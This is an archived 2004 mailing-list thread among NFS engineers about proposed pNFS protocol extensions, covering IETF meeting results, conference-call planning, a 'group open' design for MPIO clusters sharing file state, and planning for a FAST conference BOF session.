---------------------------------------------------- >From Brian.Pawlowski@netapp.com Thu Mar 04 03:29:54 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 87650 invoked from network); 4 Mar 2004 11:29:53 -0000 Received: from unknown (66.218.66.218) by m5.grp.scd.yahoo.com with QMQP; 4 Mar 2004 11:29:53 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 4 Mar 2004 11:29:53 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i24BTdJC014388 for ; Thu, 4 Mar 2004 03:29:39 -0800 (PST) Received: from tooting-fe.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i24BTd8L022129 for ; Thu, 4 Mar 2004 03:29:39 -0800 (PST) Received: (from beepy@localhost) by tooting-fe.eng.netapp.com (8.11.7p1+Sun/8.11.6) id i24BTcH14038; Thu, 4 Mar 2004 03:29:38 -0800 (PST) Message-Id: <200403041129.i24BTcH14038@tooting-fe.eng.netapp.com> In-Reply-To: from ""black_david@emc.com"" at ""Mar 4, 4 06:00:04 am"" To: pnfs-reqs@yahoogroups.com Date: Thu, 4 Mar 2004 03:29:38 -0800 (PST) Cc: pnfs-reqs@yahoogroups.com X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: [pnfs-reqs] Seoul results (was: concall tomorrow cancelled) X-Yahoo-Group-Post: member; u=169504717 X-Yahoo-Profile: brianpawlowski Most of the people that actually do real work on NFS V4 (implementations and even spec work) do not attend IETF. Such is life. I'm still returning from the dead. > Julian writes: > > > The room was not very full (and that is an eufemism). I tried to bring in > > the area director (Jon Petersen) and told him briefly what it's all about. > > > He did not come but I met him again after the session and reiterated my > > position. > > As Jon is trying to close whatever groups he can - we will have to > > persuade him that NFSV4 is not yet done and this activity can't be pursued > > > as a tiny addition that can be reviewed by 2 experts (that is what they do > > > after closing WGs). David did not show-up. Tom will have all the details. > > He chaired the WG for Beepy (who is sick). > > My lack of attendance was a brain-fault on my part, for which I sincerely > apologize. I talked to Jon both before and after the meeting - Jon's ok > with adding pNFS to the nfsv4 WG charter, even considering the overall > desire to close out long-running WGs like nfsv4. That's good news, but > keep in mind that this is today's answer, and ADs always reserve the right > to change their minds. > > > We proposed to make pNFS an official work-item of the WG but given the > > completely minor presence in the room (other session where in this state > > too) this has to be brought to the mailing list and it has to generate > > some traffic (which I assume it will). > > Attendance from the US is down across the board here in Seoul. pNFS does > need to be followed up on the mailing list and then the chairs (Beepy and > Spencer) will need to work out the addition with Jon. So far, so good. > > Thanks, > --David > ---------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 176 South St., Hopkinton, MA 01748 > +1 (508) 293-7953 FAX: +1 (508) 293-7786 > black_david@emc.com Mobile: +1 (978) 394-7754 > ---------------------------------------------------- > > > > Yahoo! Groups Links > > > > > >From Thomas.Talpey@netapp.com Thu Mar 04 03:36:45 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 30803 invoked from network); 4 Mar 2004 11:36:44 -0000 Received: from unknown (66.218.66.218) by m10.grp.scd.yahoo.com with QMQP; 4 Mar 2004 11:36:44 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 4 Mar 2004 11:36:44 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i24BW8JC015149 for ; Thu, 4 Mar 2004 03:32:08 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i24BW88L023248 for ; Thu, 4 Mar 2004 03:32:08 -0800 (PST) Received: from tmt.netapp.com ([10.58.52.57]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 4 Mar 2004 06:32:00 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C401DC.4ED17800"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 4 Mar 2004 03:31:42 -0800 Message-ID: <6.0.3.0.2.20040304062612.01b91708@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Seoul results/status Thread-Index: AcQB3E+j2XIdnixkSGWV5n7Qy6UwSg== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Seoul results/status X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Julian's message about summed up the meeting itself, the attendance was disappointing, but not unexpected. The key thing is that we have put out the message, and the AD, and the NFS community, are aware of it. I too spoke with Jon before the meeting, and he did say that he was unlikely to attend but was open to the message. I sent the slides in pdf format to the nfsv4 reflector along with the agenda/proceedings. They're stuck in the moderator queue due to the size (only 50K) but should appear soon. So, folks will see them. I suggest a concall sometime next week to discuss next steps. Maybe just use our regular Thursday slot? It's important to start some buzz before the 3/31 BOF. Tom. >From garth@panasas.com Thu Mar 04 08:06:06 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 90649 invoked from network); 4 Mar 2004 16:06:03 -0000 Received: from unknown (66.218.66.166) by m2.grp.scd.yahoo.com with QMQP; 4 Mar 2004 16:06:03 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 4 Mar 2004 16:06:03 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GFV6TQPD; Thu, 4 Mar 2004 11:05:39 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <6.0.3.0.2.20040304062612.01b91708@silver.nane.netapp.com> References: <6.0.3.0.2.20040304062612.01b91708@silver.nane.netapp.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Date: Thu, 4 Mar 2004 11:05:30 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Seoul results/status X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Yes, the regular Thurs 8am PST, 11am EST concall can be used for this. If anyone has lost the dialin numbers, please send me a note requesting them. Thanks garth On Mar 4, 2004, at 6:31 AM, Talpey, Thomas wrote: > I suggest a concall sometime next week to discuss next > steps. Maybe just use our regular Thursday slot? It's > important to start some buzz before the 3/31 BOF. >From garth@panasas.com Thu Mar 11 00:08:10 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 96609 invoked from network); 11 Mar 2004 08:08:07 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 11 Mar 2004 08:08:07 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 11 Mar 2004 08:08:08 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GT4QJN26; Thu, 11 Mar 2004 03:08:07 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <343800F0-7333-11D8-BDD5-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Cc: Garth Gibson Date: Thu, 11 Mar 2004 00:07:56 -0800 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: reminder: concall at 8am PST, 11am EST Thursday (today) X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Tentative agenda: - Seoul debrief - making plans for FAST BOF - review requirements items in flight garth >From andros@citi.umich.edu Wed Mar 17 09:45:57 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 59954 invoked from network); 17 Mar 2004 17:43:41 -0000 Received: from unknown (66.218.66.166) by m13.grp.scd.yahoo.com with QMQP; 17 Mar 2004 17:43:41 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta5.grp.scd.yahoo.com with SMTP; 17 Mar 2004 17:43:41 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id B805420F71; Wed, 17 Mar 2004 12:43:40 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, andros@citi.umich.edu Mime-Version: 1.0 Content-Type: multipart/mixed ; boundary=""==_Exmh_5501136620"" Date: Wed, 17 Mar 2004 12:43:40 -0500 Message-Id: <20040317174340.B805420F71@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=169434965 Sorry for the long email :) At the conclusion of the NEPS conference last November, Brent Welch emailed his notes as a starting point for a requirements document (attached). I use his pNFS extention language to describe a pNFS client using a 'normal open' servicing an open/write/close with direct access, and a large MPIO application using a proposed 'group open'. I note that my knowledge of parallel filesystems is growing, so please excuse any misconceptions, comments welcome... The architecture i'm picturing is a large cluster with a Parallel File System (PFS) consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I know it's only one of many architectures the pNFS set of extensions is trying to address. 1000's of pNFS clients 10's of pNFSd, one per PFS MD 100's NAS/SAN 'Normal' open ******************** a) pNFS client issues a compound to one pNFSd consisting of: OPEN with share: Access/Deny Multiple pNFSds need to resolve share. DELEG_ASK: Request Byte-range Delegation Multiple pNFSds need to resolve delegation READ/WRITE_IND request direct data access pNFSd queries PFS MD to get location map b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using the map returned in READ/WRITE_IND. c) pNFS client issues a compound to one pNFSd consisting of: COMMIT_IND: CLOSE An MPIO application opens one very large file, shared by 1000's of compute clients. Each compute client manipulates its portion of the file. The MPIO layer manages compute clients so that no client shares a byte range of the file with another. This MPIO application consists of - supervisor code running on 1 MPIO supervisor node - compute code running on 1000's of MPIO compute nodes This MPIO application has cyclic behavior. I) Read initial data II) compute intermediate result III) wait for other compute nodes to finish computing IV) all compute nodes write to file (their portion) V) compute nodes trade 'edge conditions' VI) goto II (compute). While the application is not in IV (writing), another application, say the visualizer, needs READ access to the file in order to crunch it for visualization. Visualization is needed to tell if the MPIO application intermediate results are converging on a solution. If in step IV all the compute nodes open/write/close as described above as the Normal open, the pNFSds will be doing a lot of metadata processing: resolving share and delegation state between themselves as well as delivering per byte-range layout info. The group open is designed to reduce the metadata processing from 1000's to one. I mention a couple of new fcntls used by the MPIO layer to communicate pNFS state from the supervisor node to the compute nodes. Don't worry about that(!). Do worry about this: is there anything stoping a compute node from using OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as described below? If so, are the changes to pNFS to make this work small enough to be considered at this time? Group Open ********** step IV: supervisor OPENs file, all compute clients write file, supervisor CLOSES file. specifically: a) supervisor issues a compound with OPEN: Access - Both, Deny Both to a pNFSd - pNFSds need to resolve the share - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to know about the other compute clients? - do we need the concept of a group clientid? DELEG_ASK: supervisor asks for WRITE delegation which should be granted given the OPEN Access-Both, Deny-Both share. - pNFSds need to resolve delegation request WRITE_IND: supervisor gets whole file layout info b) supervisor calls fcntl(fd, GET_GRPOPEN, cookie_buf); which returns the filehandle,stateid, and layout map from the supervisor pNFS. c) the supervisor code passes filehandle, stateid, and layout map to each compute node which calls fcntl(fd, SET_GRPOPEN, cookie_buf); the pNFS compute node client receives the filehandle, stateid, and layout map. performs a local open (nothing need go across the wire) stuffing the filehandle, stateid, and layout map into it's state tree just as if an across the wire OPEN/DELEG_ASK/WRITE_IND occured. d) compute clients use SET_GRPOPEN filehandle, stateid and map to directly write the data to the appropriate NAS/SAN - what besides the filehandle, stateid, and layout map is needed? - when done writing, each compute client issues a COMMIT_IND. e) when compute clients have flushed all data back to the file, supervisor issues a compound with CLOSE Attachment (not stored) brent_welch_pnfs_ops Type: text/plain >From dnoveck@netapp.com Wed Mar 17 12:23:00 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 38995 invoked from network); 17 Mar 2004 20:22:57 -0000 Received: from unknown (66.218.66.217) by m9.grp.scd.yahoo.com with QMQP; 17 Mar 2004 20:22:57 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta2.grp.scd.yahoo.com with SMTP; 17 Mar 2004 20:22:59 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i2HKMvJC013738; Wed, 17 Mar 2004 12:22:57 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i2HKMn3G018277; Wed, 17 Mar 2004 12:22:56 -0800 (PST) content-class: urn:content-classes:message Date: Wed, 17 Mar 2004 11:42:55 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: quoted-printable Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Thread-Topic: [pnfs-ops] pNFS, MPIO, and client group open Thread-Index: AcQMR7Z6ZGojAvNQQaq0OSeLkpqjuAAC6hBw To: , X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Andy wrote: > Do worry about this: is there anything stoping a compute node from using > OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as described > below? I'm going to say ""No"". I know this wasn't the answer that I gave at the conference call, (and might not be the answer I give at the next conference call :-), but listen to my reasoning before you decide I'm crazy. In order to resolve this issue it is necessary to get all philosophical and address the question ""What is a computer?"". I know lots of people have already hit delete but I hope somebody is still reading. Suppose I have an application cluster with 1K nodes and I put on my marketing hat (Gee, I hope I don't need a marketing jacket and tie, too :-) and say ""This is really a powerful computer with a thousand (maybe two thousand) CPU's"". Now that's marketing bullshit but it isn't exactly false. There are certainly tasks where you want a large number of CPU's sharing memory and a DSM arrangement's performance is going to suck. On the other hand, there are applications where having a thousand memories is going to be much better than trying to provide adequate memory bandwidth from a single memory to many many CPU's. So what's the point? I think the point is that as far as the NFS server is concerned, whether the computer that is talking to it is ""really"" a computer, i.e. it has CPU's sharing memory, or is only a computer qua marketing bullshit, i.e. a collection of cpu's that don't share memory, that use other methods to co-ordinate common activities, doesn't matter. All the server sees are the requests made and if the cluster represents itself as a single machine (i.e. in V4 does a single SETCLIENTID or in v4.1 maintains many connections bound to a single session), it is one. The server doesn't see the cluster's memory architecture. It sees an open and then use of that that stateid. The fact that it comes over a different IP address doesn't disqualify it. A server might have options to check that (as a matter of security) but it isn't part of the protocol and we already have clients with multiple IP addresses. Having a thousand of them is a difference of degree (and may pose implementation issues) but I don't see a real protocol issue. OK. Now you can decide if I'm crazy. -----Original Message----- From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] Sent: Wednesday, March 17, 2004 12:44 PM To: pnfs-reqs@yahoogroups.com Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu Subject: [pnfs-ops] pNFS, MPIO, and client group open Sorry for the long email :) At the conclusion of the NEPS conference last November, Brent Welch emailed his notes as a starting point for a requirements document (attached). I use his pNFS extention language to describe a pNFS client using a 'normal open' servicing an open/write/close with direct access, and a large MPIO application using a proposed 'group open'. I note that my knowledge of parallel filesystems is growing, so please excuse any misconceptions, comments welcome... The architecture i'm picturing is a large cluster with a Parallel File System (PFS) consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I know it's only one of many architectures the pNFS set of extensions is trying to address. 1000's of pNFS clients 10's of pNFSd, one per PFS MD 100's NAS/SAN 'Normal' open ******************** a) pNFS client issues a compound to one pNFSd consisting of: OPEN with share: Access/Deny Multiple pNFSds need to resolve share. DELEG_ASK: Request Byte-range Delegation Multiple pNFSds need to resolve delegation READ/WRITE_IND request direct data access pNFSd queries PFS MD to get location map b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using the map returned in READ/WRITE_IND. c) pNFS client issues a compound to one pNFSd consisting of: COMMIT_IND: CLOSE An MPIO application opens one very large file, shared by 1000's of compute clients. Each compute client manipulates its portion of the file. The MPIO layer manages compute clients so that no client shares a byte range of the file with another. This MPIO application consists of - supervisor code running on 1 MPIO supervisor node - compute code running on 1000's of MPIO compute nodes This MPIO application has cyclic behavior. I) Read initial data II) compute intermediate result III) wait for other compute nodes to finish computing IV) all compute nodes write to file (their portion) V) compute nodes trade 'edge conditions' VI) goto II (compute). While the application is not in IV (writing), another application, say the visualizer, needs READ access to the file in order to crunch it for visualization. Visualization is needed to tell if the MPIO application intermediate results are converging on a solution. If in step IV all the compute nodes open/write/close as described above as the Normal open, the pNFSds will be doing a lot of metadata processing: resolving share and delegation state between themselves as well as delivering per byte-range layout info. The group open is designed to reduce the metadata processing from 1000's to one. I mention a couple of new fcntls used by the MPIO layer to communicate pNFS state from the supervisor node to the compute nodes. Don't worry about that(!). Do worry about this: is there anything stoping a compute node from using OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as described below? If so, are the changes to pNFS to make this work small enough to be considered at this time? Group Open ********** step IV: supervisor OPENs file, all compute clients write file, supervisor CLOSES file. specifically: a) supervisor issues a compound with OPEN: Access - Both, Deny Both to a pNFSd - pNFSds need to resolve the share - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to know about the other compute clients? - do we need the concept of a group clientid? DELEG_ASK: supervisor asks for WRITE delegation which should be granted given the OPEN Access-Both, Deny-Both share. - pNFSds need to resolve delegation request WRITE_IND: supervisor gets whole file layout info b) supervisor calls fcntl(fd, GET_GRPOPEN, cookie_buf); which returns the filehandle,stateid, and layout map from the supervisor pNFS. c) the supervisor code passes filehandle, stateid, and layout map to each compute node which calls fcntl(fd, SET_GRPOPEN, cookie_buf); the pNFS compute node client receives the filehandle, stateid, and layout map. performs a local open (nothing need go across the wire) stuffing the filehandle, stateid, and layout map into it's state tree just as if an across the wire OPEN/DELEG_ASK/WRITE_IND occured. d) compute clients use SET_GRPOPEN filehandle, stateid and map to directly write the data to the appropriate NAS/SAN - what besides the filehandle, stateid, and layout map is needed? - when done writing, each compute client issues a COMMIT_IND. e) when compute clients have flushed all data back to the file, supervisor issues a compound with CLOSE Yahoo! Groups Links >From bhalevy@panasas.com Wed Mar 17 12:48:55 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 35299 invoked from network); 17 Mar 2004 20:48:53 -0000 Received: from unknown (66.218.66.218) by m16.grp.scd.yahoo.com with QMQP; 17 Mar 2004 20:48:53 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 17 Mar 2004 20:48:52 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Wed, 17 Mar 2004 15:48:51 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38938@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com Date: Wed, 17 Mar 2004 15:48:50 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy I completely agree with Dave and I certainly don't think he's crazy. I perceive this solution as a ""clustered"" implementation of a nfsv4 client in which the v4 drivers in the client cluster are cooperating and propagating state (e.g. file handles, stateids) among each other. I believe that the server should not be able to distinguish such client from a multi-homed client that may have several ip addresses. In the nfsv4 sessions world a (clustered) client may open multiple connections to the server that are associated with the same session - this will make life for such client even easier, I hope. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Wednesday, March 17, 2004 2:43 PM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open > > >Andy wrote: >> Do worry about this: is there anything stoping a compute node from >using >> OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >described >> below? > >I'm going to say ""No"". I know this wasn't the answer that I >gave at the > >conference call, (and might not be the answer I give at the next >conference >call :-), but listen to my reasoning before you decide I'm crazy. > >In order to resolve this issue it is necessary to get all philosophical >and address the question ""What is a computer?"". I know lots of people >have already hit delete but I hope somebody is still reading. > >Suppose I have an application cluster with 1K nodes and I put on my >marketing >hat (Gee, I hope I don't need a marketing jacket and tie, too :-) and >say ""This is really a powerful computer with a thousand (maybe two >thousand) >CPU's"". Now that's marketing bullshit but it isn't exactly false. >There >are certainly tasks where you want a large number of CPU's sharing >memory >and a DSM arrangement's performance is going to suck. On the other >hand, >there are applications where having a thousand memories is going to be >much >better than trying to provide adequate memory bandwidth from a single >memory >to many many CPU's. > >So what's the point? I think the point is that as far as the >NFS server >is >concerned, whether the computer that is talking to it is ""really"" a >computer, >i.e. it has CPU's sharing memory, or is only a computer qua marketing >bullshit, >i.e. a collection of cpu's that don't share memory, that use other >methods to >co-ordinate common activities, doesn't matter. All the server sees are >the >requests made and if the cluster represents itself as a single machine >(i.e. >in V4 does a single SETCLIENTID or in v4.1 maintains many connections >bound to >a single session), it is one. The server doesn't see the cluster's >memory >architecture. It sees an open and then use of that that stateid. The >fact >that it comes over a different IP address doesn't disqualify it. A >server >might have options to check that (as a matter of security) but it isn't >part >of the protocol and we already have clients with multiple IP addresses. >Having >a thousand of them is a difference of degree (and may pose >implementation >issues) but I don't see a real protocol issue. > >OK. Now you can decide if I'm crazy. > >-----Original Message----- >From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] >Sent: Wednesday, March 17, 2004 12:44 PM >To: pnfs-reqs@yahoogroups.com >Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu >Subject: [pnfs-ops] pNFS, MPIO, and client group open > > >Sorry for the long email :) > >At the conclusion of the NEPS conference last November, Brent Welch >emailed >his notes as a starting point for a requirements document (attached). I >use >his pNFS extention language to describe a pNFS client using a 'normal >open' >servicing an open/write/close with direct access, and a large MPIO >application >using a proposed 'group open'. > >I note that my knowledge of parallel filesystems is growing, so please >excuse >any misconceptions, comments welcome... > >The architecture i'm picturing is a large cluster with a Parallel File >System >(PFS) >consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I >know it's >only >one of many architectures the pNFS set of extensions is trying to >address. > >1000's of pNFS clients >10's of pNFSd, one per PFS MD >100's NAS/SAN > > >'Normal' open >******************** >a) pNFS client issues a compound to one pNFSd consisting of: >OPEN with share: Access/Deny > Multiple pNFSds need to resolve share. >DELEG_ASK: Request Byte-range Delegation > Multiple pNFSds need to resolve delegation >READ/WRITE_IND request direct data access > pNFSd queries PFS MD to get location map > >b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using >the map >returned in READ/WRITE_IND. > >c) pNFS client issues a compound to one pNFSd consisting of: >COMMIT_IND: >CLOSE > > >An MPIO application opens one very large file, shared by 1000's of >compute >clients. Each compute client manipulates its portion of the file. The >MPIO >layer manages compute clients so that no client shares a byte range of >the >file with another. > >This MPIO application consists of > - supervisor code running on 1 MPIO supervisor node > - compute code running on 1000's of MPIO compute nodes > >This MPIO application has cyclic behavior. >I) Read initial data >II) compute intermediate result >III) wait for other compute nodes to finish computing >IV) all compute nodes write to file (their portion) >V) compute nodes trade 'edge conditions' >VI) goto II (compute). > >While the application is not in IV (writing), another application, say >the >visualizer, needs READ access to the file in order to crunch it for >visualization. Visualization is needed to tell if the MPIO application >intermediate results are converging on a solution. > >If in step IV all the compute nodes open/write/close as described above >as the >Normal open, the pNFSds will be doing a lot of metadata processing: >resolving >share and delegation state between themselves as well as delivering per >byte-range layout info. The group open is designed to reduce the >metadata >processing from 1000's to one. > >I mention a couple of new fcntls used by the MPIO layer to communicate >pNFS >state from the supervisor node to the compute nodes. Don't worry about >that(!). > >Do worry about this: is there anything stoping a compute node >from using >OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >described >below? If so, are the changes to pNFS to make this work small enough to >be >considered at this time? > >Group Open >********** >step IV: supervisor OPENs file, all compute clients write file, >supervisor >CLOSES file. > >specifically: >a) supervisor issues a compound with >OPEN: Access - Both, Deny Both to a pNFSd > - pNFSds need to resolve the share > - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to >know >about the other compute clients? > - do we need the concept of a group clientid? >DELEG_ASK: supervisor asks for WRITE delegation which should be > granted given the OPEN Access-Both, Deny-Both share. > - pNFSds need to resolve delegation request >WRITE_IND: supervisor gets whole file layout info > >b) supervisor calls > fcntl(fd, GET_GRPOPEN, cookie_buf); > which returns the filehandle,stateid, and layout map from the >supervisor pNFS. > >c) the supervisor code passes filehandle, stateid, and layout map to >each >compute >node which calls > fcntl(fd, SET_GRPOPEN, cookie_buf); >the pNFS compute node client receives the filehandle, stateid, and >layout map. >performs a local open (nothing need go across the wire) stuffing the >filehandle, stateid, and layout map into it's state tree just as if an >across >the wire OPEN/DELEG_ASK/WRITE_IND occured. > >d) compute clients use SET_GRPOPEN filehandle, stateid and map to >directly >write the data to the appropriate NAS/SAN > - what besides the filehandle, stateid, and layout map is >needed? > - when done writing, each compute client issues a COMMIT_IND. > >e) when compute clients have flushed all data back to the file, >supervisor >issues a compound with > >CLOSE > > > > >Yahoo! Groups Links > > > > > > > >Yahoo! Groups Links > > > > > >From garth@panasas.com Wed Mar 17 21:17:49 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 7857 invoked from network); 18 Mar 2004 05:17:45 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 18 Mar 2004 05:17:45 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 18 Mar 2004 05:17:47 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GT4QKPM4; Thu, 18 Mar 2004 00:17:46 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: <90E9DAD9-789B-11D8-ACBD-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Thu, 18 Mar 2004 00:17:35 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Concall notes from last week's call (Mar 11 2004, 11am EST) X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson FAST BOF planning We have the Dolores room from 9am to 12 noon on Wed 3/31. It will be set for 50 people, continental breakfast, LCD projector, screen and microphone. We have requested that this be extended until 2pm, which is when the FAST conference starts. The 9am - 12 noon time slot overlaps the last two sessions of the NSDI conference 9-10:30 and 11-12:30 (agendas attached below). There is a special registration deal for FAST attendees to go to these Wed morning sessions for free, so we should expect many/most will be doing just that. Some of us even. We plan to accommodate this conflict by moving the wide open (no FAST registration needed) BOF to the lunch period between NSDI and FAST, 12:30 - 2 pm on Wed. We will need to arrange lunch food, and *** HELP NEEDED HERE *** find funds for it. The contents of this wide open BOF are educational and direction setting, not technical debates (though they might so become with an interesting audience). We propose to plan the 90 mins something like this: Reprise Seoul IETF pitch: 20-30 mins (Tom would be best, but won't be there) Then 3-6 10-min pitches that cover parts of the possible solutions and show the range of active contributors. This is to generally show common focus and the intention to make progress, but if they divide up the proposed multiple backends and the core ops, that would be great too. So far: - Peter Corbett, NetApp - Brent Welch, Panasas - Peter Honeyman or Andy Adamson, CITI If time is left, we suggest a panel session of all speakers for general Q&A. I should note that I am the keynote speaker for FAST, which will be 9 am on Thurs 4/1. I intend to pitch this activity in a portion of my talk, so the entire FAST audience (I hope) will catch at least the highest level pitch. ================================================= We need an advertisement plan for this BOF. Posters at FAST and NSDI, probably. Maybe an email from FAST to registered attendees? Email on the NFSv4 reflector. Email to SNIA NAS working group and SPEC SFS committees? Other suggestions? ================================================= We do not plan to give back the Dolores room from 9 to 12:30. We think that we should use this for a working meeting of the pNFS participants. Not closed, per se, but announced only on these distribution lists. Seems like we should not waste an opportunity for face-to-face debate on NFSv4 extension operations, requirements text and backend metadata formats. ================================================= Last NSDI sessions, Wed 3/31 9-10:30 am: Miguel Castro, chair Session State: Beyond Soft State Benjamin C. 